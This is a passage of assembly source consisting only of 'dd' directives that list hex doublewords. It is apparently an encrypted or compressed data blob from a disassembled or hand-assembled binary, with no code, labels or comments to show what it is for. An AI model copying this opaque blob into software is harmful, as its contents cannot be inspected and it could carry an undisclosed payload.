		dd 3155DBBDh, 65004701h, 0EB0BCFCh, 8FDD9h, 0D13C93EBh
		dd 0ABD88AFh, 46EF4E0Fh, 0C4F50059h, 9C29C1h, 4AE60C3Ah
		dd 0EE1E17A6h, 7AC0238h, 91A08912h, 47B007Eh, 1EF1AFB3h
		dd 71D3433h, 10311Ah, 5D0750Eh,	65230F00h, 5098B28Bh, 11336019h
		dd 48539BB3h, 59718901h, 0EDDDC4DAh, 99CABCC8h,	2FB80E5Ch
		dd 0AAF09640h, 0B313A4B9h, 63102DBDh, 0C54B07B0h, 0D25032F1h
		dd 9F76C7h, 11773CE9h, 0B603A6D5h, 1B2F438h, 0B998919Ah
		dd 0D671BB1Ah, 76C97D8h, 3B5CF18h, 0AF38E795h, 8DE87C00h
		dd 0CBA09DB7h, 68732086h, 10CF9AF8h, 0B19F1C6Bh, 0F2191224h
		dd 0AF40D5B0h, 26E0C2Dh, 983BEFBFh, 0C889CB9Ch,	0F8078AD7h
		dd 0B043401Ch, 88C91E21h, 1ADC59Ch, 0D1181915h,	845B42BAh
		dd 5F552EA9h, 49B791C0h, 0CC7D38h, 0B1B9DC63h, 5CCA5E47h
		dd 12DF641Fh, 0B6C86147h, 0A4B76F30h, 17B4A054h, 0EC57E681h
		dd 48D506F4h
		dd 0A8D37D55h, 9030F100h, 0AE85394Eh, 0EC7097ACh, 797A50BFh
		dd 7D1E26BAh, 24B020F6h, 0D502F0h, 0E817FFD2h, 1804DECAh
		dd 16BFB56h, 0A8540080h, 83551C67h, 8BA34053h, 0D07E2FCFh
		dd 5517239h, 0A0D7C8B3h, 0A7ADD840h, 6A335Ch, 0FEFCB12h
		dd 826658FBh, 1A08A800h, 354AD489h, 0CBD044ABh,	0D5680BFh
		dd 0B71E1114h, 300EEB07h, 5FAF0CC7h, 8170833Eh,	0A2C57EA4h
		dd 4AD44CC6h, 0D169001Bh, 0B5B390D6h, 8439082Dh, 0EC6A00BAh
		dd 9BD3D870h, 0C8301BBh, 0CB8653E9h, 27AD70E7h,	1300C6E0h
		dd 0FCC08EFEh, 3A441BB8h, 300037F1h, 0BB38DE40h, 51003FC7h
		dd 0FF2EF465h, 1FC6B8A6h, 18C51101h, 75BEF949h,	0F6EE921Ch
		dd 955AAA40h, 9717ECEh,	87E7AE5Eh, 60D3F307h, 5D69DB06h
		dd 9D349A00h, 672C0940h, 4EA3317Eh, 0F0777D10h,	0E10EF517h
		dd 407564E8h, 0F10F1665h, 0E4C4007Eh, 0CD55CE41h, 671E7434h
		dd 8640201Fh, 436BAA95h, 0F83800A8h, 1D0499E2h,	200013Ah
		dd 0CEC7BE2Ch, 48283ECDh, 5007BC88h, 20CB9F67h,	0F9624FD7h
		dd 263348h, 0C16C4428h,	1083BEh, 61EEAA31h, 6071204Ch
		dd 0D7BC320Eh, 0A5A100CDh, 1C53A2Eh, 559DBE74h,	709144D6h
		dd 77000558h, 11DCB759h, 1182380h, 0AD474D4Eh, 0E8B3579Fh
		dd 0AE00C8BCh, 37D57FE4h, 7B3E93h, 7E2ECA5Dh, 9983E875h
		dd 0DC73AA1Fh, 0B82C17C1h, 0BE8601Ch, 0FF1D000Eh, 0D2D63D55h
		dd 0A5A0CD45h, 0CF09CB5Dh, 814F32B1h, 0D3E8B2DCh, 744C1460h
		dd 8B8E14E2h, 7109B038h, 34818673h, 0E4551F02h,	23008F15h
		dd 92275C5Bh, 0BFB0E4h,	7BEE76F1h, 9B8A0F8Ch, 80FC0700h
		dd 0D0A0258Dh, 0CBE703A6h, 0D639E1B2h, 81031B80h, 0CCFB9D00h
		dd 56DBD27Bh, 0BFDD00BDh, 0FD31B634h, 0C4008775h, 23F8C1B7h
		dd 51F343h, 616F290Ch, 0A348DA91h, 3715DB00h, 42853A33h
		dd 246A78EFh, 9BC06EEh,	1100B3F9h, 5937651Bh, 0A92C9300h
		dd 2A81FEABh, 24393E06h, 0C605700h, 0F094B6CDh,	9D8A3103h
		dd 0EBCC8744h, 326FF8A5h, 0A95D16E7h, 0FC3E09AEh, 0A3DF0800h
		dd 0D809CBA2h, 2D15717h, 0E0EC3AC4h, 4CD4C3BAh,	33DC815h
		dd 81C98B01h, 20A5187Bh, 80995224h, 8016E78Bh, 0C9135A78h
		dd 3B140B5h, 0E83D3401h, 4456EB48h, 0AAC3F4h, 0E305ED66h
		dd 0B7A39B47h, 3F1D4C00h, 6DBEEE21h, 936A018Fh,	0DEACF6D1h
		dd 3085D424h, 0CB822300h, 206EB6FAh, 0EDB30050h, 9CCF0257h
		dd 42308F61h, 4001B899h, 0DED80F29h, 0A00BE4B0h, 0BCA91800h
		dd 7D59ED0Dh, 1F8D00D0h, 56804725h, 0E790A6h, 71AFD7C5h
		dd 0F0441E07h, 0C536F0Eh, 933B20C4h, 14B03F8h, 0E4F2E29h
		dd 0D0A827DBh, 610E3CE4h, 60AB1876h, 4633525Dh,	0B03A0017h
		dd 7B954FAAh, 9EA0CB24h, 9426D601h, 0AD83A493h,	0F84DB8B2h
		dd 5432F6h, 0CBCA72Eh, 8F7AED38h, 0A1B55B00h, 6A9F26AAh
		dd 8A650190h, 36B96DE4h, 5C840DAh, 0C00F4840h, 27A2BB46h
		dd 0BD52068Ch, 80D08968h, 58C8C69Ah, 674A00DEh,	0E7BCE48Bh
		dd 791F7822h, 47402DAFh, 0C73746B0h, 8A4E2430h,	0B2E3008Eh
		dd 6ED0BB9Ah, 0A117C306h, 0C0C1B4h, 1612A57h, 8BAF4226h
		dd 0A07227Ah, 77D6721Ah, 80D354h, 0EA5CAE5h, 87920BC5h
		dd 0F04FDF86h, 38BD3A18h, 7109F440h, 53AE003Ch,	40AB6F39h
		dd 0F0029508h, 6C0C3F96h, 6827408Ch, 6458003Ah,	512F02C9h
		dd 4128099Fh, 5200A039h, 318CCF23h, 77FBB219h, 70DC4B49h
		dd 6498DD7Ch, 0F8E0B200h, 5E91C976h, 117A05F4h,	0C0B3F007h
		dd 78621CDCh, 7E2DBA03h, 87581D39h, 1B424EB0h, 0FCEA245Dh
		dd 90DD87C0h, 0B60250EDh, 0D318757Dh, 5BD02365h, 12B055h
		dd 7FB93D42h, 0A2227A35h, 3EC080B0h, 2A775533h,	8A83003Bh
		dd 7CA88F1Ch, 0E18611Eh, 0D261F894h, 40E10633h,	0C02DA52Bh
		dd 1C7B5805h, 9C00E252h, 7C5E37E3h, 13F7265Fh, 0B8E10051h
		dd 9E93C03Bh, 98E4CB24h, 0A9C99601h, 9DC9DCF1h,	0AC4024E5h
		dd 1DE0D77h, 591276E7h,	8005B1EEh, 94542318h, 61C6D2B4h
		dd 0B5F59008h, 0DC2DD081h, 0B2016800h, 0D8129D28h, 65AC00D4h
		dd 368E5AFEh, 7E4CEE33h, 916716AFh, 11D92700h, 0FDD7EFh
		dd 4ACCEA59h, 4637A9BDh, 70D1CE00h, 31D8E1B9h, 97150F1Bh
		dd 0ADE0DD84h, 381DFAC4h, 9AE79200h, 9D8911C3h,	34821DCDh
		dd 486A8701h, 6D9CF08Dh, 38DC99E5h, 128BB0C0h, 3830EFh
		dd 71E99755h, 2BDA19D6h, 6E44E200h, 0E7806013h,	505600E0h
		dd 41BC1514h, 0F3777730h, 0E7FFC00h, 0B99DCD73h, 0B55200AEh
		dd 5F3AE670h, 0F305AD25h, 0CD92E088h, 229E55C0h, 0D0440323h
		dd 0E1C66FD3h, 0C2E595D0h, 0DD877E03h, 0B0746861h, 7046200Ch
		dd 18810067h, 0D4FED2BAh, 5700C4ECh, 0B40BBC06h, 0E7E2D5h
		dd 0F5D08A49h, 934F6346h, 1A51F400h, 0B6DAB4C5h, 0BD9902AAh
		dd 79C4258Fh, 0A7119C81h, 0EFCDC44Ch, 392E77E2h, 7A18FA43h
		dd 3885280h, 0A9D6D8FBh, 4B9067EDh, 0A3FE3062h,	6C4080EBh
		dd 0EE572B55h, 83AF0337h, 0B240DA7Bh, 0FB81BC04h, 56C087F0h
		dd 0F2B4519Dh, 9C4D300Ch, 76530FA1h, 1C4F1900h,	0D55AF645h
		dd 4DD400EBh, 837BC7FAh, 85013EBFh, 195EF005h, 38BBC104h
		dd 722C1E00h, 3FDDF887h, 0F77E4500h, 25FAB5C5h,	0EC98C94Dh
		dd 22280900h, 8301F199h, 0B8766682h, 782D6D47h,	8D77C500h
		dd 0AA601497h, 3C79D109h, 0C804079Ch, 0CBE22100h, 12D7CA0h
		dd 0D7C74609h, 84AA2AA7h, 4A4B3F1Ch, 241CD0B0h,	2470D604h
		dd 32C30FDCh, 0A90388A9h, 400007F8h, 87E8ACBBh,	1B0DB0Dh
		dd 89CBFBD8h, 3476CE74h, 2E59A4E0h, 5058002Ch, 0DA797029h
		dd 2BC90AEh, 0F51E1009h, 406B6DC1h, 20113381h, 0F33E4F33h
		dd 0F40F800Ah, 0E3768F45h, 30431C6Eh, 46E1008Bh, 0A279AE9Dh
		dd 4CCABD00h, 881D57D4h, 70320469h, 0A0BCE264h,	0B53DA5A8h
		dd 1760E028h, 5440BA6h,	0F78E3E63h, 38DC90FDh, 0C8A07D2Ah
		dd 3C01FF95h, 0E5FE41F9h, 30D292h, 0A8A501B2h, 4A649918h
		dd 2690647Fh, 702E701h,	4E345EDh, 8823B88Eh, 0E64C2400h
		dd 1F61DACBh, 3B081878h, 1D9328D8h, 40907365h, 0D3052AFAh
		dd 0B0B2B641h, 0AE8A2D2Ch, 9A878424h, 0B2050E1h, 0F62E1DEBh
		dd 67C43C04h, 3140DF00h, 6CEC01BEh, 0F0904A00h,	0CD171F57h
		dd 81880083h, 0FBD908E3h, 92C0A53h, 5C3D8111h, 0DDAC0070h
		dd 4E29D2D7h, 393F0BEAh, 9C0054CCh, 8713EC6Ch, 446E1E00h
		dd 1068C2AAh, 97F0EAh, 720EB5FEh, 17035EE2h, 0C6AD100h
		dd 0FA858C80h, 4E99039Dh, 0FE717A7Fh, 0D3939780h, 69562801h
		dd 3E18FAC2h, 2C99D830h, 835CC8EEh, 82789AA4h, 65A6CF90h
		dd 94E6D770h, 0CE25CA0Fh, 5114600Ah, 799F6950h,	0EDF300BEh
		dd 0FBDAD7C8h, 1600FFC4h, 84E32D39h, 1C3A1EBh, 7F429607h
		dd 0F0C06FF8h, 46005565h, 8978A5C2h, 0E8CCD837h, 269807A1h
		dd 81323EE2h, 20DEADDDh, 21003C54h, 0EF052410h,	8D2CF8h
		dd 91B9420h, 738E16F5h,	19007BF0h, 0F19C06FAh, 0F6D0489h
		dd 13860B5Fh, 0C01F754Eh, 859907F2h, 0B9014036h, 6C030546h
		dd 9068A7CFh, 710E9AC0h, 3218BC9Ch, 0E406D52Ah,	1C072D9h
		dd 67732375h, 0F43551F7h, 1802224Fh, 6E939006h,	854760A4h
		dd 1CE5F803h, 666F703Bh, 222C000Ch, 4C2D54B8h, 747D891Dh
		dd 9F7E6401h, 0F4C4BB30h, 6940002h, 7D116976h, 7B2ED3F7h
		dd 0E4848098h, 0B0C01EB4h
		dd 86FD84h, 9CAAF235h, 89A67AC9h, 16013D00h, 0A5EBF854h
		dd 5FF40008h, 0FE45BAFh, 2F39C13Fh, 0FEBC28h, 0CE71F014h
		dd 379C636h, 0F12D5759h, 1105726Dh, 0BCF22C4Eh,	8321F880h
		dd 1B378C3h, 0F3552597h, 0F0BD6003h, 2E0379DCh,	48021392h
		dd 0C142D229h, 6CF5225Dh, 2E51D040h, 63040779h,	128573D7h
		dd 0CB61D32Bh, 9C2C24A5h, 4FD57F00h, 6A1E7E55h,	3D27005Bh
		dd 0EDBAE951h, 102137Ah, 8ADAF1B3h, 80A562C5h, 8C9B679Dh
		dd 2CFB000Ch, 55820686h, 27D226Ah, 8FF9F200h, 1CB1AD94h
		dd 37F60098h, 19561218h, 14309603h, 435F487Bh, 8E5E0023h
		dd 1C6C24B0h, 0F007159h, 463BD4F0h, 94E8B47Dh, 65780110h
		dd 0F44EDAD1h, 0DE7CEBA4h, 52FD0500h, 0DCEDA231h, 0FA2C0FCAh
		dd 238FB587h, 2AAE031Dh, 0AB984247h, 0BF00B1D8h, 143552A1h
		dd 48AFF45Bh, 38003C2Bh, 22E702BEh, 0A90049CDh,	8672D5B8h
		dd 0B87C7148h, 6B8C02E5h, 172108B5h, 0FB5BC040h, 27AA0200h
		dd 0F2B626F7h, 0D6AC0EE6h, 7BA055C4h, 2391ED51h, 3AFBBF03h
		dd 0A721EAh, 753D9B38h,	0B598A4EFh, 0F07067F0h,	68FEE607h
		dd 87317EBEh, 64202B70h, 0CBA90E73h, 0AF01A631h, 0DC566B3Eh
		dd 89017917h, 78E410ECh, 0F8284AFCh, 0A4B2B800h, 68B355EAh
		dd 7C038AEAh, 3B982F0Bh, 0B922E883h, 2A2107FFh,	0F49ECB39h
		dd 68A4C0BBh, 4D205F89h, 0DF130028h, 822253AFh,	45000AD6h
		dd 0E70F98C3h, 0C36ED81Fh, 0DB04F734h, 6B011DBh, 790B9D18h
		dd 0E1F8F46h, 0DA94010h, 123A037h, 0CF50245Bh, 20D6D3D1h
		dd 3E003A29h, 97AEE6B0h, 76FE330h, 137245C2h, 9306CF39h
		dd 100310C5h, 2EAEB338h, 0E6C0ECFFh, 16FDCDDDh,	0E3F2DDCh
		dd 2FE5EA2Ah, 0B65C90E4h, 8E19314Fh, 2B10A564h,	28AF43F0h
		dd 63903CD8h, 0CB7938C2h, 5EFFDAD8h, 869CF000h,	0DD671F33h
		dd 0D0995080h, 0F20E4FCh, 1123347Ch, 0E29272A0h, 470BE90Ch
		dd 7964Dh, 6AA426D4h, 0DB3500DAh, 2BC48E65h, 0D14CFED4h
		dd 3C5839C4h, 0A6C700CEh, 5646D053h, 0A7570329h, 43DCA1F7h
		dd 2DE1100h, 2A458FA2h,	0F0814834h, 55A61C78h, 5B00FF39h
		dd 0A06E26A3h, 2700187Bh, 0CC1CBD89h, 6059CEEDh, 0D973D838h
		dd 670F10DBh, 8CD01D93h, 73D3C89Fh, 0F2CA2FA5h,	3407CD78h
		dd 76A16FC6h, 0B24F6090h, 28360005h, 0CDC7D8D1h, 0CA004226h
		dd 0F02137D5h, 243C577h, 8A38C914h, 0FF0FF4h, 0F2C7689Fh
		dd 0AA2C004Bh, 7E95DAEBh, 0ED018BABh, 0A85A3150h, 90F82E8Fh
		dd 24A007E4h, 80533D62h, 344C9BE6h, 98BDF801h, 2E7EB65Ch
		dd 4A5FC080h, 0C9C4E839h, 5D5AB500h, 0C0D43548h, 1EA748CBh
		dd 0D5324C00h, 223D5FA3h, 0BC484100h, 8BA66E09h, 0CE920173h
		dd 0A517F3F0h, 0D4D6E052h, 0A1095F7Bh, 678323A3h, 0A0CE0048h
		dd 0E576E910h, 84E74A16h, 61DAB442h, 2688CCC7h,	9C770Bh
		dd 0C57B6CF3h, 0BE13D567h, 4E00BC12h, 0C933404h, 0AE550916h
		dd 0EF0CD7FAh, 600A23Ch, 0FD2353CAh, 0E0288Ah, 9B7E1581h
		dd 0DC4CB4E3h, 6E9A0F07h, 59B0C84Ah, 4C6F3A9h, 5C7856D8h
		dd 1BC1C02Eh, 22026EBDh, 716058E3h, 0E2B04119h,	93E14680h
		dd 83172DF3h, 9DA49F00h, 6D210206h, 0F1800081h,	861E79Eh
		dd 7501B33Fh, 0E034637Bh, 118023F3h, 5EE32BA0h,	492461B9h
		dd 0FD0BB006h, 0F17202EDh, 0A33460F6h, 0E8CA858h, 66D53EB5h
		dd 5140D409h, 0B67D4040h, 31168500h, 0B5595A05h, 0CEDB00B8h
		dd 0A48B6B65h, 0D104B4D3h, 0C1487815h, 0B0641CC3h, 0D6E023h
		dd 8E75971Dh, 184328A0h, 0DD226500h, 79D2C76Ah,	0B0E0029h
		dd 0C0F49815h, 8A7D96F1h, 0BEFEDE00h, 0D55C6A77h, 8BE8124Dh
		dd 0B8A0062h, 0C5712234h, 5F6B271Ch, 642F4DDh, 40256235h
		dd 0A8D17759h, 0D9C2A0h, 0D370473Dh, 0FF4E74CDh, 0E7E04101h
		dd 2C4AC662h, 707E16D8h, 5F1301C7h, 80A21593h, 432EC808h
		dd 0ADD11C0h, 14997983h, 0A001E941h, 8AC09D1Dh,	819008CBh
		dd 0EE353238h, 5D11800Fh, 82999388h, 0ADEA0159h, 5E6C44C2h
		dd 0BC3C20F7h, 328DCA00h, 8EA0CD0Dh, 1710B0D0h,	0EECFB03Ah
		dd 1B4C6501h, 0F834F2E4h, 0B1BB003Dh, 997BD0C2h, 0F7035F24h
		dd 2756FB4Dh, 0EE8F91CAh, 0F5C120h, 0E611EF73h,	3A9A61F8h
		dd 2C5240C0h, 12B18438h, 1AB7015h, 0B302EAD2h, 0CAEBC758h
		dd 990C71F0h, 486BE409h, 0D7040021h, 457E365h, 0F85DA827h
		dd 0E510907Bh, 917E7E6Eh, 0DBE63E7Dh, 414E1E0Eh, 588E85F8h
		dd 380020F2h, 0E40CF704h, 0CC2F6E0Dh, 240C844Ah, 8884C4C3h
		dd 374FF70h, 0B7AEAB96h, 0F80F3559h, 61C93BD9h,	0FF3FD0E4h
		dd 12D1A8CBh, 198B0D2h,	3205D33Eh, 8060215Eh, 0CDBA1E50h
		dd 9BB98Dh, 0AD2B0353h,	671B6FD1h, 6ABED407h, 0F1B04A54h
		dd 27DE615h, 0E142E018h, 79E09352h, 0A97F3D57h,	39D83300h
		dd 0D6A42538h, 0E0EA3FE4h, 4ADC6100h, 17CD9083h, 81003578h
		dd 1EFED2BDh, 1A3B8Ah, 3267C729h, 209A89B3h, 0ACD67700h
		dd 861E2A70h, 0F01F004Fh, 0FCE88B07h, 0BD0E4864h, 27508DB1h
		dd 0AAA0DE54h, 4E2A6ADBh, 8341888h, 0E23963E1h,	5FF8340h
		dd 98DE7080h, 825C86h, 0DF617218h, 1C2A3767h, 6C2559h
		dd 0D79AE814h, 9FFEC1h,	0D1DE5C3Dh, 7986CBC6h, 42B6C000h
		dd 235E3CF5h, 8D39009Eh, 4B608790h, 2700696Fh, 2F76F14Eh
		dd 155D7Eh, 99D9F3D2h, 47B63D08h, 7A6F5E04h, 1380372Ch
		dd 303E1795h, 3C480BAFh, 6000C1A0h, 6C2E4E62h, 0BF34E5h
		dd 173E087Eh, 4948FD29h, 52FA1100h, 4F2A8FE4h, 2EF70E8Dh
		dd 53E308DDh, 20E029D8h, 577EB9FEh, 4FC48400h, 23B46909h
		dd 6B2E09F0h, 8D80C7F4h, 8F3391F8h, 480DF502h, 0C4BE8BF7h
		dd 0DDB900BCh, 0A284AEA7h, 0BB0038EEh, 0C2D2603h, 9C21403Ch
		dd 647F0028h, 9B190982h, 83201D3Fh, 5DB0EEDBh, 0EC33B9E9h
		dd 8D8F8h, 6EA1C99h, 0DF645238h, 0C7B8E501h, 337718ABh
		dd 0F2AF9424h, 62FA01C2h, 831981Fh, 80800424h, 5D50BA11h
		dd 10005406h, 3F0A9DE2h, 5A736389h, 6B336913h, 158008C5h
		dd 30ADDC21h, 83A93E0Fh, 9103C110h, 4C05BAFAh, 718BEF3h
		dd 0A09E5954h, 0BD10DC41h, 32802000h, 5D9329ECh, 12E65A7Bh
		dd 5C8C00Ch, 2660A88Bh,	3E883798h, 0FEF21E3Ah, 0CC66408Fh
		dd 69C7BB98h, 2D1C621Eh, 0C9BF963Ah, 36755CD0h,	52711603h
		dd 6F730954h, 2C162CA2h, 2C408242h, 74009586h, 12538C75h
		dd 9820CEC1h, 4E1D1384h, 3200D01Eh, 89C0BD5Ch, 7EAFF81h
		dd 0F4E6274Ch, 555F38B8h, 0C1E80C31h, 12E06E6Bh, 0A4B20E96h
		dd 47C04E7Bh, 7D2858F6h, 68D65D00h, 61142E1Ch, 7A44025Fh
		dd 0ECF0C0B5h, 2C32B282h, 56268C50h, 4A80D088h,	0EFFB723Fh
		dd 7C160D3Eh, 601821A9h, 28EE7186h, 73F49300h, 8AA44190h
		dd 0A4B6CCh, 31D5627Bh,	50B81428h, 64C7B92Ch, 80274B89h
		dd 97820FCCh, 0E2F87F9Ah, 0FA8548E4h, 3F542E00h, 0C0CEB734h
		dd 868C8A00h, 0B6F7B24h, 4E09820h, 0DDB52F7Ch, 0E9E8D142h
		dd 0D3D0D87Fh, 0CB8221C0h, 0B19641h, 66E7E4F2h,	8E6D7F69h
		dd 134EC800h, 26F315C7h, 2892DDh, 9DB5F5D5h, 2249C2D0h
		dd 5C17EBEAh, 6CC1A7C4h, 606812B6h, 8E64F40Eh, 70486520h
		dd 26099F27h, 2329E0FCh, 0A0220948h, 1617876Dh,	1CD6D5BDh
		dd 294840F0h, 2E16CC3Bh, 7819611Ch, 8D3EAA40h, 1FCA7276h
		dd 8A5466E9h, 0E48AF4h
		dd 1120C82Fh, 0BC60FBAEh, 9786111h, 4FD81ED9h, 8C8640FAh
		dd 0A25BB1A5h, 0EEA16303h, 0A05FCA7Fh, 90AA749Ch, 210509DCh
		dd 0A4008D4Ah, 5755EC60h, 2D5A3Ch, 48BF6390h, 0A15DCBh
		dd 8DD2C16Bh, 1F7E4EB2h, 8F7C451Ch, 0A472E447h,	91524D10h
		dd 0E42FCCCh, 0F9C5569Bh, 68F4680h, 9613B69Fh, 84B085ACh
		dd 663809D3h, 4C043D8Ah, 776840F7h, 0F0A1254h, 5D5B28BFh
		dd 53CF2500h, 7800652Dh, 0DE9DE7F9h, 221117h, 79AD643h
		dd 0A154976Ah, 6148700h, 5AAE61F0h, 80A73992h, 9C803824h
		dd 0C8E6D677h, 0B3886E1Ch, 553F07CAh, 70A4841Ah, 129857B6h
		dd 40BF9919h, 23D4B798h, 2FA32481h, 72BA02D0h, 4C68029Ch
		dd 9A04E9C1h, 0FB19993Bh, 0F60780E8h, 2BA272EAh, 0F424D44Ch
		dd 2F76CCF0h, 44841B49h, 5DA0828Bh, 809D35E0h, 0C907FE7Bh
		dd 404BF599h, 687DDB20h, 92D672E1h, 30C4E4ACh, 0B059C3C6h
		dd 8B002AA7h, 9A9B8F77h, 40E500Fh, 0E59106BFh, 304080D1h
		dd 4712ED07h, 140072ABh, 7839E96Dh, 7B9000E1h, 6BA75EC2h
		dd 100008D6h, 5626ECDCh, 4AFC66h, 7AF20567h, 0AA8827B1h
		dd 11982C5Ch, 990E1EBBh, 9C075DAh, 0D4BEEE8Eh, 2A171313h
		dd 591F091h, 0EABB460h,	0B46D9B0Ch, 1B8D7E62h, 808723C2h
		dd 0A26F805Ch, 10C7E9C8h, 928089A7h, 0BBA6D6h, 2E99A996h
		dd 78FD410Fh, 0F41B5C2Eh, 88905896h, 1E461F38h,	40ADBBA7h
		dd 71B6926h, 0BC0E2F94h, 20D7FEDDh, 2B541C18h, 0A5F828BDh
		dd 401279Ch, 0BADA440h,	75943F2Eh, 0F5EAFA00h, 7F2D78F9h
		dd 1DB81673h, 4D7800CBh, 0BCCF7019h, 0C8898324h, 51BE2618h
		dd 0F1F309EDh, 0B881BDC7h, 0DCA2AAB4h, 620BE7B0h, 8E581E47h
		dd 0E8D3A096h, 5C1CBD28h, 0E005877h, 5C5605EFh,	27018F1Ah
		dd 0BB4FDCABh, 1028FEAEh, 0D874490Eh, 81E8403Eh, 0C5DCC1ABh
		dd 8F52B000h, 168C159Dh, 0B895000Ch, 6632A8FCh,	6713438Bh
		dd 84806D3Ch, 92F16Bh, 9162481Dh, 0AEDA7CE1h, 59007E7Bh
		dd 0D2DB4793h, 50C63A6h, 7794A941h, 0C22CE0CAh,	4BAE170Fh
		dd 0E30F602Eh, 4F91EC1h, 922FE11Dh, 0D0E0C0A1h,	0B20E59F5h
		dd 32FFDBBEh, 796D5040h, 1C96C030h, 408B5CE4h, 0AFD47570h
		dd 5434E3EFh, 60AD062Ch, 0D503B638h, 397E768h, 3698DFF0h
		dd 65601660h, 0BFBE13h,	0EE2A6630h, 0F9FAEA0Ch,	0A8500706h
		dd 1C191FC4h, 5FE4C20Eh, 395A4002h, 0F8E735CCh,	0A02664CEh
		dd 240D3BA3h, 0F466045Fh, 927B86F6h, 0D074B060h, 7C0106A4h
		dd 6D8C5C4Fh, 63FAC4h, 0FC03438Ah, 0B818AE80h, 0FD3E1E00h
		dd 0ACE07331h, 0B7CC07FAh, 602F4C77h, 0E1CB7627h, 0D54AFE72h
		dd 7CAD84C2h, 5E803880h, 0C7B6DA8Fh, 5F3C9AD3h,	0FAF78075h
		dd 4D39C9C1h, 16070051h, 44C82ADBh, 0D10B7569h,	0AF7BF1D0h
		dd 2FEFE08Ch, 46D78D8h,	521FD30Eh, 0D2308055h, 0F90526FDh
		dd 70943EE3h, 4448A6FCh, 657E6403h, 0FFFFD1Ch, 200075CBh
		dd 1EF7E111h, 27B963Ch,	0AEA2FE30h, 0BC10C086h,	874E07h
		dd 188DDEEAh, 0EE007A11h, 589ED38Bh, 204CF91h, 2C478403h
		dd 0E87CA3B2h, 48CA3900h, 0BA40D419h, 42034CE0h, 2B1712h
		dd 0E88E2815h, 291CFE3Dh, 0B1071923h, 0D2323918h, 0D10C41B5h
		dd 0B8F50AC4h, 7C1D17F1h, 83544443h, 45FCCCC8h,	758C8400h
		dd 0EA8602D8h, 2B7B0067h, 0CFD6FF8Dh, 0B000E977h, 515AA33Fh
		dd 5237BAh, 96C931DFh, 432E4F2Bh, 0DE150600h, 17238AEEh
		dd 313C006Dh, 0F8A9AAF2h, 6C9A3B74h, 8FCDD200h,	4E4A29A6h
		dd 0F7CB0022h, 0A5430BDBh, 0AD0F2DEBh, 0A510D8CFh, 0E0806A4Dh
		dd 1BFB5CD5h, 1CD9F243h, 5E2E1076h, 9E010D5Bh, 0B3C317DAh
		dd 5A74F247h, 0F4C798B8h, 945DF008h, 7C01BF41h,	8334386Fh
		dd 64C414AFh, 710A12F7h, 0EC4201Eh, 0B6004BA8h,	0B9B03980h
		dd 0F966D76h, 4211297Ch, 1409BFA0h, 922E7150h, 4E0258F0h
		dd 62489B6Ah, 6250E86Ch, 0B3B53DEAh, 0E5578700h, 68E77AA4h
		dd 726CAD0Bh, 3304818Fh, 5430DA4Ah, 2F5416F8h, 4CE0942h
		dd 0CE002C78h, 3C4FEECAh, 74B9B50h, 0D5B0E8CCh,	3E98A045h
		dd 0B43ED4C6h, 0A6996D1h, 380670C0h, 9CE2658h, 0E8E00791h
		dd 9D6A803Ah, 2800B922h, 45013DB2h, 38AFD9BFh, 7E96BA3Fh
		dd 27E841C0h, 0F8803985h, 563A9167h, 3F8D3A50h,	0C462C0Ch
		dd 231D8F8Bh, 3AC180C4h, 8B00C029h, 84F80D6Fh, 99058210h
		dd 93A9A0E5h, 387331C0h, 9FBE0009h, 0EDDF8A24h,	0CF011465h
		dd 0FD470C76h, 84D04229h, 0C3043FB9h, 0FB306680h, 0E614951Eh
		dd 9C21CE60h, 0A926751h, 869FA156h, 6840044h, 66F5C502h
		dd 4C0E7F07h, 0D0C035DCh, 786B7512h, 76277445h,	0C59F0099h
		dd 0F3550B57h, 0AE0023E0h, 4E010446h, 86BA87h, 8B3A2015h
		dd 55F1E40Ah, 0F5BCF05Ah, 223A11Fh, 0E6A00E59h,	6D8076E2h
		dd 0BA4C5B3Fh, 2060AE30h, 9547089Ch, 343DA400h,	6008112h
		dd 88B3A60Ch, 0F56D5B9h, 83A88442h, 6E18038Ch, 0F52ABA18h
		dd 78F09378h, 4DD11EC3h, 992707ADh, 3D701CB6h, 8C461814h
		dd 9AC01E0h, 855F625Ch,	89C1F6E8h, 181C72CFh, 6F893B08h
		dd 51DA60CAh, 6A387482h, 0D1B66630h, 3EAFF59Eh,	910CB3C2h
		dd 4E411FAAh, 8EEBBD1Fh, 0B4D6B90Ah, 90538180h,	78BEBACCh
		dd 12281F5Dh, 46920004h, 0C6918B7Bh, 406AF5A1h,	1B407460h
		dd 6865A000h, 22ABF693h, 95700DBh, 367B6DBCh, 8007E72Eh
		dd 0F59303C6h, 84757EA0h, 6BA11CD3h, 11400FDh, 0E1210433h
		dd 0A4B52700h, 74BA82B1h, 0B902008Ah, 0D459A27Eh, 1D009820h
		dd 522D483Bh, 1DD38C4h,	0D3CEDE93h, 0C1278C64h,	0BEE1D0E6h
		dd 0C00CAC00h, 1A688BDAh, 57760045h, 2A6307D1h,	2F1F907Ch
		dd 82C0A6E6h, 81CE2C0Fh, 0E487003Dh, 94BFF71Eh,	2D305E92h
		dd 576CF02Ah, 0C4CA50DEh, 99D6009Ch, 82C13F41h,	0C654426Eh
		dd 4988CAD0h, 8EC70086h, 77E09106h, 32009371h, 80606B96h
		dd 90E81EBAh, 66582804h, 252679F4h, 94A13989h, 0CC847CCCh
		dd 0D9077F3Fh, 0D8C22712h, 21B046h, 0F3847467h,	0BBD907B6h
		dd 50688E31h, 1AE9810Bh, 0E4502425h, 60BE92C3h,	9D3220EAh
		dd 78063924h, 0DEB7F440h, 27A300B8h, 95AE81A0h,	0FF6FD023h
		dd 71016040h, 796006h, 0BB028D21h, 0CDD6F45Eh, 0E38ADB0Ch
		dd 0C0FE08A5h, 5ED32F21h, 0FA0060CFh, 424B2BBFh, 7765939Bh
		dd 103D6012h, 5536CEB4h, 0E3C9E700h, 0CB527407h, 82B00373h
		dd 35C4E55Ah, 0B4F3C09Fh, 0E91FAC99h, 0F540322Bh, 848E5334h
		dd 0BE580072h, 0A8F42585h, 0AE1E13BAh, 4A803A21h, 0F3888DEFh
		dd 381B0079h, 6416AA35h, 0E803609Ch, 0AC5F2FA2h, 0B019B341h
		dd 0F0B5C7h, 71EB1B0Dh,	0BC9C7656h, 0CD288100h,	0D0B9E1D4h
		dd 870900A5h, 0C160220h, 0A8015FD5h, 781876AAh,	8D70CDA1h
		dd 1369774Fh, 35208Ah, 0A4A6134h, 0A000C7E3h, 69795897h
		dd 0D70C0h, 0BD2CF77Dh,	2BE8C105h, 4451A40Eh, 0E9001D42h
		dd 0D6C08AC5h, 70D5004Ch, 0F3B16461h, 4502F623h, 0B586740Fh
